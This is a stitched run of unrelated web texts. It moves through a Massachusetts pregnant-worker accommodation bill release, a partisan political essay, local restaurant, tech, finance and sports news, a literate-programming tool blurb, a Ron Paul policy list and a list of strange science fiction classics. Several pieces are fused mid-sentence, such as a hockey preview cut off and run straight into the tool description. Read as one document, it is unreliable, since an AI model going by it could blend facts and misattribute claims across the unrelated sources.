Pregnant workers in MA are routinely denied access to basic accommodations that they may need while on the job. Simple things like bathroom breaks, access to water, or a temporary shift in responsibilities can be the difference between a pregnant worker being able to continue working, being forced onto leave, losing her job, or being forced to make a choice that is no choice at all: to quit her job to ensure her health and that of her baby.
Massachusetts Needs Strong Measures to Support Women in the Workforce
The MA PWFA amends Section 4 of chapter 151B of the General Law, preventing discrimination based on pregnancy and requiring employers to accommodate conditions related to pregnancy or childbirth, including the need to express breast milk for a nursing child, unless doing so would pose an undue hardship on the employer.
"It is time Massachusetts protects pregnant workers from being pushed out of their jobs and make changes to current law to support our families," Representative Ellen Story said. "Benefits from enacting the Massachusetts Pregnant Workers Fairness Act would extend not only to female employees but to their children, families, employers and the public in general.
"Accommodating pregnant workers is fair and just and it makes sense economically, socially, and healthwise," Senator Joan Lovely said. "We need to protect all of our workers."
Representative Dave Rogers said, "We must prioritize the health of our pregnant workers. This is not only a public health priority, but a commonsense fair employment standard, and smart employers will see that it makes good business sense as well."
MotherWoman, a Hadley-based nonprofit organization dedicated to advocating on behalf of family policy issues, has been leading the way on this important issue with state and national organizations including Crittendon Women's Union, ACLU-MA, A Better Balance and many others.
Massachusetts Joining National Conversation on Pregnancy Discrimination
The Supreme Court is now weighing how much employers must do to accommodate pregnant workers under the federal Pregnancy Discrimination Act. The case of Young vs. United Parcel Service, argued on December 3, 2014, involves a former UPS employee, Peggy Young, who was placed on unpaid leave after she became pregnant in 2006 and was denied light duty despite a company-wide policy that offered similar accommodations to many other groups of workers.
By adopting the Massachusetts Pregnant Workers Fairness Act, the Commonwealth would become a leader in addressing pregnancy discrimination and join a national movement including Alaska, California, Connecticut, Hawaii, Illinois, Louisiana, Maryland, Minnesota, New Jersey, New York City, Philadelphia, Texas, and West Virginia by putting legislative protections in place for pregnant workers. The Pregnant Workers Fairness Act has also been introduced at the federal level.
Quotes from MotherWoman
"Pregnant workers in the Commonwealth are being denied basic, temporary accommodations when they need them the most. The impact on the health of mothers and children, on our labor force, as well as the burden on our health care system are enormous. We know that pregnant workers are pregnant for a limited time. We want to see MA do the right thing and protect pregnant workers so that they can have safe, healthy pregnancies," said MotherWoman Executive Director, Shannon Koehn.
"It's hard to believe it but employers are denying women these basic accommodations. Who denies a pregnant woman a stool? Isn't that what we were taught in basic civics classes back in elementary school? In MA its time to insist that all pregnant workers receive the basic accommodations that they need to stay healthy and safe. It's the human thing to do." said MotherWoman's Program Director, Liz Friedman.
Quote from A Better Balance
"The Massachusetts Pregnant Workers Fairness Act can help prevent blatant discrimination and enable pregnant workers, especially women in low-wage and physically demanding jobs, to keep working and supporting their families when they need that income most," said Dina Bakst, Co-President of A Better Balance, a national legal advocacy organization dedicated to promoting fairness in the workplace and helping workers across the economic spectrum to care for their families without risking their financial security.
"There is tangible momentum across the country to make sure pregnant women are not forced to choose between their health and their paycheck. Massachusetts should be next," Bakst stated.
Accommodations for pregnant workers provide women with a safety net that benefits more than just women. Offering pregnant women accommodations is a common-sense policy practice for employers.
Quote from Obstetrician
"Research demonstrates a connection between stress and premature birth. Failure to accommodate pregnant women in the workplace can put their health in danger, in addition to the health of their babies," said Dr. Tiffany A. Moore Simas, MD, MPH, MEd, FACOG, University of Massachusetts, Medical School/UMass Memorial Health Care
Quote from Small Business Owner
"When I started Dean's Beans Organic Coffee in 1993, I knew that the success of my business depended on the skills, health and happiness of my employees. I knew that employee loyalty translates to high-quality service and customer loyalty, and I knew that I want my businesses to contribute to vibrant, healthy communities," said Dean Cycon, owner of Dean's Beans in Orange. "That's why I provide my employees with reasonable accommodations that they need during their pregnancies and why I am so pleased to see the MA State Legislature introduce the Pregnant Workers Fairness Act, which will allow pregnant workers to receive basic accommodations that they need to maintain a healthy pregnancy and continue to be productive while on the job.
"When a recent employee was pregnant we ensured that she had an opportunity to sit as needed, to have water and bathroom breaks and not to need to lift heavy packages during her last trimester. This was a no-brainer to us. She's our employee and we wanted to ensure her commitment and health while employed at Dean's Beans. This is the decent thing to do for our employees. It also makes good business sense," Cycon continued.We know how rough the last months have been for progressivism. All the Trump Administration has done. All they will do. Consider Trump’s upcoming repeal of Obamacare. Or perhaps the multi-front onslaught against the entire social safety net of American life. The astounding incompetence of the Democratic Party. The shocking indifference of the Republicans.
And yet while the war of politics rages on, and progressives fight to resist the all-embracing power of conservative government, another skirmish is taking place: the war of ideas. And there, the results are welcoming. Left ideas are winning.
We know that centrism is a diminished god: Samson could see it. And anybody who has watched the disembodied specter of conservatism understands that movement’s intellectual poverty. Its mouthpieces have been discredited or co-opted by the rise of Trump and the Alt-Right. What little remains of conservative thought is shrunk down to ritualistic acts of trolling, bodiless phantoms in the machine.
The war of ideas is near to, but not the same as, the conflict of electoral victories, Presidential nominations, and Congressional seats. Political battles are fights over scarce resources, but they are also proxy battles for different philosophies of government. These principles provide the ammunition and moral understructure for partisans of either side. The Great Work—the long-term goal—is the discrediting of right and centrist ideas as believable visions to build societies on. And the left is winning that war.
These ideas are not just issues of cultural progressivism, but economic progressivism. History-readers among you will know that left economics were denied under Clinton, verboten under Bush, and patronized and marginalized during the Obama years. So-called liberal Democrats barely fought for working people. During those days, we saw advances the social left, and little advance elsewhere. Business did well, and nobody else did. But the world is changing. The end of consensus is the beginning of freedom. While consensus existed, left ideas could be shut out, and a tidy profit-farm could be run on the back of the American public.
Two examples come to mind: Universal basic income and Medicare for All. UBI, as reported by the Los Angeles Times, has new partisans:
If there’s one thing that many anti-poverty activists and free-market advocates agree on, it’s that our existing social safety net isn’t capable of dealing with the challenges presented by the evolution of the economy and of the very definition of work.... The basics of universal basic income are simple. A check goes to everyone, guaranteed — whether they’re employed or not. No strings attached. No means test. No bureaucrats examining your personal lifestyle or looking for hidden income. No politicians demanding that you seek out even a menial job or leave the children in the hands of caretakers before getting the money. No drug testing.
Ignore the too-smooth marketing phrases like “evolution of the economy” and “very definition of work.” Focus on what a radical message this is, and where it is being published. Now, the fact that some conservatives and libertarians are in favor of UBI does not mean that they are coming around. Nobody needs to mollify them, or court them, or care about their approval. But the fact that right-wing supporters of UBI can even raise their head on the issue says something.
The same is true of single-payer and universal health care. It is accepted now by the broad swath of American society. Americans have long embraced a public option; it was the politicians who lagged behind. No surprise there. But even now, the Republicans must—through a gritted rictus of teeth—defend the idea of medicine for all. Their program will not deliver it. But they must get behind the notion all the same. You can tell, because even the mainstream media recognizes it. In a Marketwatch column, Darrell Delamaide recounted that:
Vox’s Sarah Kliff reported this week how surprised she was when she helped conduct a focus group on health care among Trump voters and half of them spontaneously said they would like a single-payer system like Canada’s. “We hadn’t planned to bring up single-payer health care,” Kliff wrote of the March session. “The focus group was about the Affordable Care Act. But one Trump voter had raised the idea that we’d be better off if we had a health-care system like Canada’s — where the government runs one health-insurance plan for everyone — and wanted to see who agreed.”
One Medium writer, “radicle,” put it best:
People are losing faith in politicians that seem only capable of tinkering around the edges of policies that aren’t working for the mass of people. They want to vote for something that will create a material difference in their life, a change for the better that they will actually experience, instead of having to rely on pundits telling them that, despite what they and their family might be feeling, things are actually good! The stock market is up! Unemployment is at an all time low (assuming ‘all time’ started in 2009)! America is already great!
Trump is the final boss of the nightmare right: he is all of their terrible inclinations given full sway, freed from the cloak of dissimulation they’ve been forced to adopt all of these years. That is why only the left can fight him. Centrism, in love with power, will never have to spine to do it. They will keep their cameras turned off, rather than offend the President.
The great enemy of left policy is not the right. It is the Decent Moderates, who police the boundary of what is and is not acceptable. They have cratered every idea to bring positive change to the world. But the recent upheaval has not been kind to them. The entire chorus of neoliberal critics are on their back feet. The rise of Trump and the derailing of the world-train have given us a rare opportunity. When the approved doctrine has been so thoroughly humiliated, there is a great chance to get through a real message. Even if the millennial generation didn’t lean left—which they do—this would still be case. This is a once-in-a-lifetime chance.
There was a time in the ‘90s that the wackiest right-wing notions, like privatizing Social Security or austerity, were in full flower. Now they are scoffed deservedly. We are returning to an older age, the age of ideological combat. Good. Such a contest favors the left. There’s a long history of left ideas being taken up by the main body of politicians: the eight-hour day, anti-war, Social Security, public ownership of utilities, civil rights. The real narrative of our times is not just about battles over power, but the death of Hayek, Rand, and Friedman’s style of economic malfeasance. That end of that bag of golf-course-conversation-derived economic theory cannot arrive too soon.
The victory of left ideas is not itself the solution to the equation. The battles of day to day politics determine the lived experience of millions of human beings. And we should not lessen our involvement in that fight. But the battle of ideas is turning. The defunding and destruction of Obamacare will probably proceed, and be horrible. But while history is also the story of radical re-establishing privilege, it is also the story of changing minds.
The notions of the right-wing economic machine rose in the Seventies. They had their way, and the world fell under their yoke. But they’re sloughing off now, dropping like scales from a dragon. The death of centrist and the right ideas must seem like the end of the world for the people up top. But that’s the curious fact about power. Change is only a danger to power if your power is insecure, if it can be taken away. The strength of elites is (and always has been) fragile; the might of the public is strong. The power always belonged to the people, much as light is the natural property of the sunrise. It was only contested property during the night, and the dawn is on its way.A Brighton restaurant that crashed onto the scene early last year has now closed down, becoming the latest in a string of closures for Cleveland Circle. Jade Monkey has closed for good, according to Boston Restaurant Talk, leaving a note on its Facebook page to share the news with fans.
“It is with great sadness that we have to inform you that Jade Monkey will be closing for business,” the message read. “From the entire Jade Monkey Team, we thank you for your support. It was truly a pleasure to serve all of you!”
Jade Monkey specialized in Asian fusion dishes and opened last February in place of Sa Pa, under the same ownership. With a funky vibe complete with neon lights, Jade Monkey served dishes like ginger scallion noodles, crab rangoon, tuna poke, and ramen, among other items. The departure of Jade Monkey comes after a handful of closures in the neighborhood, including The Real Deal and Boloco, as previously reported.
• Jade Monkey in Brighton's Cleveland Circle Has Closed [BRT]
• Jade Monkey Opens in Cleveland Circle [EBOS]Currently, developers use one of two methods to create speech programs. One involves using a large collection of words and speech fragments spoken by a single person, which makes sounds and intonations hard to manipulate. The other forms words electronically, depending on how they're supposed to sound. That makes things easier to tweak, but the results sound much more robotic.
In order to build a speech program that actually sounds human, the team fed the neural network raw audio waveforms recorded from real human speakers. Waveforms are the visual representations of the shapes sounds take -- those squiggly waves that squirm and dance to the beat in some media player displays. As such, WaveNet speaks by forming individual sound waves. (By the way, the AI also has a future in music. The team fed it classical piano pieces, and it came up with some interesting samples on its own.)
For instance, if used as a text-to-speech program, it transforms the text you type into a series of phonemes and syllables, which it then voices out. Subjects who took part in blind tests thought WaveNet's results sounded more human than the other methods'. In the AI's announcement post, DeepMind said it can "reduce the gap between the state of the art and human-level performance by over 50 percent" based on those English and Mandarin Chinese experiments. You don't have to take the team's word for it: We're still far from using a WaveNet-powered app, but you can listen to some samples on DeepMind's website.Netflix, Inc. (NASDAQ: NFLX) proposed a vast increase in the number of its authorized shares, promising a stock split to sweeten the pot.
In a proxy statement filed late Friday, the company proposed boosting authorized shares to 5 billion from 170 million.
If increase is approved by shareholders at a June 9 annual meeting, Netflix said it will split its stock split at a ratio "to be determined" following the meeting.
Related Link: Pandora, Sohu.com, Infinity Pharmaceuticals Lead Friday's After-Hours Movers
Netflix said it doesn't have current plans for acquisitions or equity financing.
But increasing the authorized shares will provide "greater flexibility" to issue shares for equity financing, acquisitions and executive compensation as well as other purposes, the company said.
The 5 billion number is "comparable" to the number of shares authorized by other technology companies, according to Netflix.
In late trading, the company changed hands recently at $455.07, up $0.50.
Too Expensive?
The only other stock split in Netflix history occurred on Feb 12, 2004, when shares were split two-for-one.
On a per share basis, Netflix currently has the 16th highest share price on American exchanges according to Finviz.The Winnipeg Jets went shopping this offseason to aid their attempt to move up in the Central Division and find a way into the Stanley Cup Playoffs.
NHL.com is providing in-depth roster, prospect and fantasy analysis for each of its 31 teams throughout August. Today, the Winnipeg Jets.
They made an uncharacteristic foray into the free agent market July 1 to try to support their draft-and-develop philosophy, signing goalie Steve Mason to a two-year, $8.2 million contract (average annual value $4.1 million) and defenseman Dmitry Kulikov to a three-year, $13 million contract (average annual value $4.33 million).
It was the most money the Jets spent at the start of free agency since the franchise relocated to Winnipeg from Atlanta in 2011.
[JETS 31 IN 31: 3 Questions | Top prospects | Fantasy breakdown | Behind the numbers]
The Jets also went the extra mile to protect key players from the NHL Expansion Draft by making a trade with the Vegas Golden Knights.
The Jets traded the 13th pick in the 2017 NHL Draft and a third-round pick in the 2019 NHL Draft to Vegas for the 24th pick in the 2017 draft, and a presumed assurance from the Golden Knights not to choose veteran defenseman Toby Enstrom.
Enstrom, 32, agreed to waive his no-movement clause so he could be exposed in the expansion draft.
"People can say we paid a price, [but] we've always been and will always be a draft-and-develop team," general manager Kevin Cheveldayoff said. "We feel we've got some really good pieces here that can click and work together, so we didn't want to lose one of those pieces."
Without Enstrom's decision and the trade, the Jets may have been forced to protect eight skaters and one goalie from the expansion draft (instead of seven forwards, three defensemen and one goalie), so they could protect defensemen Dustin Byfuglien, Jacob Trouba, Tyler Myers and Enstrom. That would have exposed forwards Adam Lowry and Mathieu Perreault.
After the trade, Vegas selected forward Chris Thorburn in the expansion draft. Thorburn signed with the St. Louis Blues after becoming a free agent.
Video: 31 in 31: Winnipeg Jets 2017-18 season preview
The Jets' motivation to add veterans in free agency comes from a roster of ascending young players.
Last season, rookie forward Patrik Laine, 19, was their leading goal-scorer with 36. Center Mark Scheifele, 24, had 82 points (32 goals, 50 assists) in 79 games to finish seventh in the NHL. Forward Nikolaj Ehlers, 21, improved to 64 points (25 goals, 39 assists) in his second season from 38 as a rookie. Trouba, 23, became an all-situation player and played an NHL career-high 24:57 per game.
Each was a key element in helping the Jets win 40 games (40-35-7, 87 points). Winnipeg finished fifth in the Central and seven points behind the Nashville Predators for second wild card into the playoffs from the Western Conference.
Mason will be asked to stabilize the Jets goaltending. Winnipeg allowed 255 goals last season, fourth-most in the League behind the Colorado Avalanche (276), Dallas Stars ( |
based -- very easy to read and write Literate source.
Automatically generates hyperlinks between code sections
Formatted output similar to CWEB
Creates an index with identifiers used (you need to have exuberant or universal ctags installed to use this feature)
Supports TeX equations with $ notation
notation Compatible with Vim (literate.vim)
Highly customizable
Literate works with any programming language, generates HTML as output ( which can be converted to pdf ), and generates readable code. The code that is generated is indented properly and is automatically commented using the titles you have written for the code blocks.Here is the full list of features:You can get started by taking a look at the manual. In addition, this website is made with Literate, and the source can be read hereThe 5 Mini Documentaires can be seen below...
TORRANCE, Calif., (Feb. 11, 2013) – The real lives of five young entrepreneurs form the backbone of Scion’s newest national ad campaign, “Make Every Second Count,” that launched today at
www.scion.com
and will continue with broadcast, print and online content developed with creative agency ATTIK. The new ads and online mini documentaries build on the “Scion Story” brand campaign launched last fall to showcase the company’s longstanding commitment to individual passions.
“We began telling the story of Scion’s history and core beliefs; now we’ve given the stage to individuals who embody that same passionate spirit in the ‘Make Every Second Count’ campaign,” said
Doug Murtha
, Scion vice president. “By showing how Scion fits into real lives and real goals, we shine a spotlight on the brand’s unique approach to empower its customers.”
The five people featured were each given a handheld video camera and a Scion vehicle for two weeks. After beginning to film their daily activities, they worked with award-winning documentary filmmaker
Doug Pray
(Hype, Art & Copy) for suggestions and content. From the authentic content, Pray and Scion created three national broadcast spots and five, online mini documentaries for the Scion YouTube channel.
The broadcast spots are built from one-second video segments of each participant’s story, passion and Scion experience. As the five individuals demonstrate dedication to pursuing dreams and careers, the campaign concept “Make Every Second Count” was born.Dak Prescott
Dallas Cowboys quarterback Dak Prescott (4) passes against the San Francisco 49ers during the first half of an NFL football game in Santa Clara, Calif., Sunday, Oct. 2, 2016. (AP Photo/Marcio Jose Sanchez)
The 2016 NFL season continues on Sunday, Oct. 9, as the Dallas Cowboys host the Cincinnati Bengals at AT&T Stadium in Arlington, Texas.
CBS will broadcast the game at 3:25 p.m. Central (4:05 p.m. Eastern). Live streaming is available via NFL Game Pass or NFL Sunday Ticket MAX (subscription required).
The Cowboys are 3-1 after beating the San Francisco 49ers 24-17 last Sunday. The Bengals are 2-2, having beaten the Miami Dolphins 22-7 in Week 4.
The Bengals are a 2-point favorite to win the game, according to Vegas Insider.
Preview
Andy Dalton has an idea how defensive coordinators are preparing for Dak Prescott because the Cincinnati veteran remembers being a rookie starter.
As the surprising Dallas newcomer prepares for the visiting Bengals in a homecoming of sorts for Dalton on Sunday, Prescott understands better every week what the former TCU quarterback means when he says "teams are trying to take your stuff away."
For example, the still-perfect Prescott, with a rookie-record 131 passes without an interception to start his career, points to last week's rally from a two-touchdown deficit for a 24-17 win at San Francisco.
"Saw some new looks, saw them throw a bunch of different fronts, gave me some different looks that I hadn't seen," said Prescott, the first Dallas quarterback to start his career with four straight interception-free games.
"So it's good for the learning experience and to mark down some more looks I've seen."
Dalton, visiting the Cowboys for the first time in the regular season, can attest to the difficulty of what Prescott is doing since he threw 66 interceptions in his first four seasons.
But the native Texan made the playoffs all four of those seasons and was headed there again last season with what figured to be a career low in interceptions when he broke his right thumb with three regular-season games remaining and missed a fifth straight postseason loss for the Bengals since he was drafted.
Now Dalton has two picks in four games -- one on a deflection -- and leads the AFC in yards passing. But his focus is more on getting the Bengals (2-2) back over.500 after they started 8-0 last season.
"It's the team that gets hot at the end of the year and is playing the best," Dalton said. "We feel like we have that type of team."
Prescott is a victory away from ensuring the Cowboys (3-1) a winning record for the potential Oct. 30 return of Tony Romo from his latest back injury. Dallas was 1-13 without Romo in the three seasons before Mississippi State's winningest quarterback showed up.
"It's hard to do some of the stuff he's been able to do," Dalton said. "The big thing that he's done is he's taken care of the ball. When you do that, you give your team the best chance to win."
Things to consider in the first regular-season meeting between these teams since 2012, a 20-19 victory for the Cowboys in Cincinnati, a day after Dallas practice squad player Jerry Brown died in a car crash that led to an intoxication manslaughter conviction against teammate Josh Brent:
BACK IN THE FOLD: Bengals linebacker Vontaze Burfict is set for his second game back from a three-game suspension for repeated illegal hits, while Cowboys defensive end DeMarcus Lawrence returns from a four-game ban for violating the NFL's substance-abuse policy. Burfict played the most snaps among Cincinnati linebackers in his season debut. "I'm not surprised," he said. "That's part of my job description, come in and be a leader."
THEN AND NOW: Dalton and top receiver A.J. Green came into the NFL together five years ago, the same way Prescott and running back Ezekiel Elliott did. Elliott leads the NFL with 412 yards rushing. "The kind of people they are, we benefited from them as people as well and their personalities," Bengals coach Marvin Lewis said.
RED ZONE WOES: Cincinnati ranks last in the NFL in getting touchdowns after crossing the opponent's 20-yard line. The Bengals have only four touchdowns in 13 such chances. They've also been bad on third down, converting 28 percent, ahead of only Miami. Those were points of emphasis this week for a team piling up yards but not points.
WATCH THE BACK: Dallas Pro Bowl LT Tyron Smith has missed two straight games with back issues, although he returned to practice on a limited basis to start the week. Cowboys K Dan Bailey is struggling with a sore back as well. Cincinnati TE Tyler Eifert, brother-in-law of Dallas RT Zack Martin, has a back issue that could delay his season debut after offseason surgery to repair an ankle injury from the Pro Bowl.
PURPLE POWER: Dalton, who grew up in Houston, said he expected as many as a couple of dozen family members and friends. And then there's the extended family of TCU, where he had a school-record 42 wins, including the Rose Bowl in his finale after the 2010 season. "I feel like there are a lot of TCU fans who are Cowboys fans as well," he said. "I hope their Horned Frog blood bleeds a little more than their Cowboys blood and they will be rooting for the Bengals."
Information from the Associated Press was used in this report.Boston University is hoping to get its first win against No. 1 Wisconsin, and end their unbeaten streak.
This week’s NCAA women’s hockey notebook highlights No. 1 Wisconsin’s quest to continue its unbeaten season and several holiday tournaments.
1: Boston University searches for its first win against No. 1 Wisconsin this weekend in a weekend tournament in Washington, D.C. Boston University is winless in five outings against the Badgers, including three regular season contests and two neutral site games, including the 2011 national championship game. BU has once previously defeated the top-ranked program, topping then-No. 1 Boston College, 4-1, in the Women’s Hockey East Tournament title game on March 8, 2015.
Read the things you need to know before #D1inDC https://t.co/E7prJq9YMS — Wisconsin Hockey (@BadgerWHockey) November 22, 2017
3: Colgate has the opportunity to become the 3rd ECAC team in a row to win the Vermont Windjammer Classic (Cornell in 2015, Clarkson in 2016).
4: Number of tournaments Wisconsin has hosted in non-traditional college markets as part of an effort to grow the women’s game across the country. This weekend, Wisconsin, Northeastern, Boston University and Minnesota State face off in a tournament in Washington, D.C. Previous tournaments were held in Vail, Colorado, Fort Meyers, Florida, and Lakewood, California.
MORE: BU's Victoria Bach leads this week's high-scoring three stars
7: Number of consecutive games Clarkson sophomore center Michaela Pejzlova has scored at least one goal.
One of @NCAAIceHockey top lines @CUknights - Gabel (19), Pejzlova (10) & Giguere (7) - make it look easy in 6-0 win vs Cornell. #letsgotech pic.twitter.com/iy6A5VFwvS — ClarksonAthletics (@ClarksonUSports) October 29, 2017
8: Wins, in eight games, on the road this season for No. 6 Minnesota. The Gophers, who have won six-straight contests overall, look to keep both streaks alive this weekend in a nonconference series at Lindenwood.
8: Straight nonconference wins for Ohio State. The Buckeyes dropped a 3-2 decision at Penn State on Jan. 3, 2016, but went 6-0-0 last season and swept Rensselaer to open the 2017-18 campaign. No. 5 OSU will put that streak on the line this weekend at No. 9 Robert Morris in a matchup of league leaders (the Buckeyes pace the WCHA, while the Colonials sit atop the CHA standings).
MORE: Wisconsin still undefeated, remains No. 1
10: Points this season for Minnesota State junior Jordan McLaughlin, who has already matched her career highs for goals (5), assists (5) and points.
14: The 14th annual Nutmeg Classic tournament will be hosted by UConn this weekend, featuring the three Connecticut schools of UConn, Quinnipiac, and Yale. Penn State rounds out the field of four teams. The Huskies have won four Nutmeg Classic titles in program history.
16: Straight wins to start the season for top-ranked Wisconsin, two shy of the program record set in 2015-16. The Badgers -- the lone remaining undefeated team in Division I -- will try to equal the school standard this weekend when they play Northeastern (Nov. 24) and Boston University (Nov. 25) in Washington, D.C.
41: Career games, without a goal, for Bemidji State junior Sylvia Marolt, until she lit the lamp in back-to-back contests last weekend vs. No. 5 Ohio State.
92.3: The percentage of RPI’s penalty kill, which is the best in the country. The Engineers have successfully held on 36 of 39 chances shorthanded.Looking for news you can trust?
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Could Rep. Ron Paul of Texas ever be a true contender for the White House?
To be sure, the conservative political landscape has shifted dramatically since Paul’s quixotic bid for the 2008 GOP nomination was met by jeers from the party establishment, and the Ron Paul Revolution has minted a new generation of libertarian activists who’ve helped lay some of the organizational and ideological groundwork for the tea party movement. “Time has come around to where people are agreeing with much of what I’ve been saying for 30 years,” the Texas congressman said on Friday, as he launched his third White House attempt. “The time is right.”
Yet despite Paul’s growing cult following, many of his views are just a tad extreme for voters from either major party. To name just a few of these politically dicey positions, President Ron Paul would like to…
1. Eviscerate Entitlements: Believes that Social Security, Medicare, and Medicaid are unconstitutional, and has compared the failure of federal courts to strike them down to the courts’ failure to abolish slavery in the 19th century.
2. Lay Off Half His Cabinet: Wants to abolish half of all federal agencies, including the departments of Energy, Education, Agriculture, Commerce, Health and Human Services, Homeland Security, and Labor.
3. Enable State Extremism: Would let states set their own policies on abortion, gay marriage, prayer in school, and most other issues.
4. Protect Sexual Predators’ Privacy: Voted against requiring operators of wi-fi networks who discover the transmission of child porn and other forms online sex predation to report it to the government.
5. Rescind the Bin Laden Raid: Instead of authorizing the Navy Seals to take him out, President Paul would have sought Pakistan’s cooperation to arrest him.
6. Simplify the Census: The questions posed by the Census Bureau’s annual American Community Survey, which collects demographics data such as age, race, and income, are “both ludicrous and insulting,” Paul says.
7. Let the Oldest Profession Be: Paul wants to legalize prostitution at the federal level.
8. Legalize All Drugs: Including cocaine and heroin.
9. Keep Monopolies Intact: Opposes federal antitrust legislation, calling it “much more harmful than helpful.” Thinks that monopolies can be controlled by protecting “the concept of the voluntary contract.”
10. Lay Off Ben Bernanke: Would abolish the Federal Reserve and revert to use of currencies that are backed by hard assets such as gold.
11. Stop Policing the Environment: Believes that climate change is no big deal and the Environmental Protection Agency is unnecessary. Most environmental problems can be addressed by enforcing private-property rights. Paul also thinks that interstate issues such as air pollution are best dealt with through compacts between states.
12. Not Do Anything, but Still…: Would not have voted for the Civil Rights Act of 1964 because it was a “massive violation of private property and contract, which are the bedrocks of a free society.”
13. Let Markets Care for the Disabled: “The ADA should have never been passed,” Paul says. The treatment of the handicapped should be determined by the free market.
14. First, Do Harm: Wants to end birthright citizenship. Believes that emergency rooms should have the right to turn away illegal immigrants.
15. Diss Mother Teresa: Voted against giving her the Congressional Gold Medal. Has argued that the medal, which costs $30,000, is too expensive.You want a really weird ride? A science fiction or fantasy epic that stretches your brain like taffy and ties it into strange irregular shapes? Forget television or movies: books are where the really off-kilter stories are told in speculative fiction.
A while ago, we listed 10 ultra-weird science fiction books that you’ve never read. But what’s really mind-blowing is the list of science fiction and fantasy books that are equally strange — but which almost everybody has read, or wants to read. Here are 10 super-weird SF books that are considered part of the canon. [jump]
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Top image: Ubik cover art by Chris Moore.
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1) Dhalgren by Samuel R. Delany
Why It’s Weird: It opens with a man making love to a woman who turns into a tree. It ends with this:
“But I still hear them walking in the trees: not speaking. Waiting here, away from the terrifying weaponry, out of the halls of vapor and light, beyond holland into the hills, I have come to”
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Dhalgren takes place in a burning, dilapidated, extra-dimensional city named Bellona, and it’s famous for its non-linear narrative, which requires multiple readings to get a lot of meaning out of.
Why It’s Required: Dhalgren is full of mythological references, and layers of meaning. It’s also a fascinatingly contentious book. The novel has drawn praise from Umberto Eco: “I consider Delany not only one of the most important SF writers of the present generation, but a fascinating writer in general who has invented a new style.” It’s become a stage play and a MOO, and it’s been compared to Pynchon. The original edition sold more than a million copies.
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2) The Four-Gated City by Doris Lessing
Why It’s Weird: Lessing’s sprawling Children of Violence series starts out as realistic quasi-memoir about growing up in Africa, only to turn weird and experimental in the final couple of volumes. There is voluntary sleep deprivation, weird sexual experiments where nobody touches each other, and more. After spending the entire series building the character of Martha Quest, Lessing kills her off on a contaminated island off the coast of Scotland during World War Three. Lessing’s World War Three takes place during the ‘60s and ‘70s, with most of Britain wiped out via bubonic plague, nerve gases, nuclear explosions, etc. by 1978. The ideas behind the novel, as elucidated on Lessing’s own website: “[It] takes on the medical profession, which she believes is destroying (recently through imprisonment, currently through the use of drugs) that part of humanity which is in fact most sensitive to evolution, those people we label as mentally sick or unbalanced: and, criticising the scientists who have created and perpetuate a climate in which “rationalism” has become a new God, she claims that everyone has “extra-sensory perception”, in varying degrees, but has been brainwashed into suppressing it, and that schizophrenia is the name of our blindest contemporary prejudice.”
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Why It’s Required: Lessing won the 2007 Nobel Prize and wrote The Golden Notebook, which frequently appears on college syllabi — but the Children of Violence trilogy is the series on which she spent arguably the most time, and in many ways the cornerstone of her work. Earlier parts of the Children of Violence series appear on college syllabi pretty often.
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3) Stranger in a Strange Land by Robert A. Heinlein
Why It’s Weird: The novel follows Valentine Michael Smith, son of the first astronauts to explore Mars, as he is reintegrated into human society after being raised as a Martian. Valentine believes a bunch of strange things, Valentine believes in a bunch of strange things, including the rightness and sacredness of consuming your friend’s flesh after he/she dies, the superfluity of clothing, and the obvious self-evidence of an afterlife, based on his experiences on Mars. He founds the Church of All Worlds, in which sexual liberation blends with psychokinesis.
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Why It’s Required: In addition to winning the 1962 Hugo Award for Best Novel, Stranger in a Strange Land is considered a bona fide classic, frequently mentioned on the lists of the best science fiction books of all time. One of its invented Martian words, “grok” has even entered the Oxford English Dictionary. You can also see it on Pearson’s Recommended High School Reading List.
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4) Ubik by Philip K. Dick
Why It’s Weird: From lunar telepaths to mysterious product placements to a kid named Jory who sucks the life force out of other people, this is a book that doesn’t particularly care about making sense. Did we mention that half the characters might be dead? As Conceptual Fiction explains, “Ubik keeps you guessing at almost every step along the way, and your hypotheses about what is actually transpiring will probably change several times as the story progresses. From this regard, the work progresses much like a conventional mystery, with clues to be deciphered and puzzles to be solved. Only here the questions are peculiar ones – not who committed the murder, but whether a murder actually took place, not finding the body but understanding what a body might be and become, not avenging a death but reassessing the boundaries between life and death.”
Why It’s Required: Most often found in science fiction class syllabi, Ubik is also used as an example of of late-‘60s paranoia about reality and government or corporate control of life. And Time Magazine named it as one of the 100 best novels written in English between 1923 and 2005. At one point, Michel Gondry was working on a movie version.
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5) The Man Who Folded Himself by David Gerrold
Why It’s Weird: This is a novel about time travel, and as such it comes with all the expected weirdnesses - time paradoxes, alternate realities, etc. However, the really weird part of this book is the way that the protagonist interacts with past and future versions of himself. While he starts off with the generic stuff, like betting with his past self on sporting events of which he already knows the outcome, he graduates to having sex and a relationship with his past and future selves, including massive time-traveling orgies. He eventually impregnates a female version of himself, and she may turn out to be his own mother. Basically, time-wimey, orgy-porgy.
Why It’s Required: This novel was nominated for two prestigious genre awards, the 1973 Nebula Award for Best Novel and the 1974 Hugo Award for Best Novel. It also appears on lots of college syllabi.
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6) The Female Man by Joanna Russ
Why It’s Weird: In The Female Man, four women from different realities are brought together, and after experiencing each other’s gendered (or not) cultures, come away with new ideas about womanhood and gender roles. The catalyst for their meeting, Jael, comes from a dystopia which literalizes the “battle of the sexes” into an actual war between men and women. Another woman, Janet, comes from a world called Whileaway, where all the men were killed in a gender-specific plague more than 800 years ago.
Why It’s Required: Nowadays, it’s read as a representative work from the 1970s feminist movement, but it’s also picked up a crop of awards. Like many works in this list, it was nominated for the Nebula Award for Best Novel (in 1975), and it also won a Retrospective Tiptree Award in 1996 and Gaylactic Spectrum Hall of Fame Award in 2002.
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7) Dreamsnake by Vonda McIntyre
Why It’s Weird: The novel follows a healer through a post-apocalyptic, desert-like landscape, as she looks for a replacement “dreamsnake.” Dreamsnake bites produce hallucinations similar to acid trips. So in a sense, what we’re looking at here is one long roadtrip dedicated to the pursuit of LSD.
Why It’s Required: Dreamsnake swept the awards when it was first published, winning the 1979 Hugo Award, the 1978 Nebula Award, and the 1979 Locus Award. It was also nominated for the 1979 Ditmar Award in International Fiction. We went to a fascinating panel at WorldCon to discuss this book, and learned a lot about it there.
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8) Lilith’s Brood (Previously Xenogenesis) by Octavia Butler
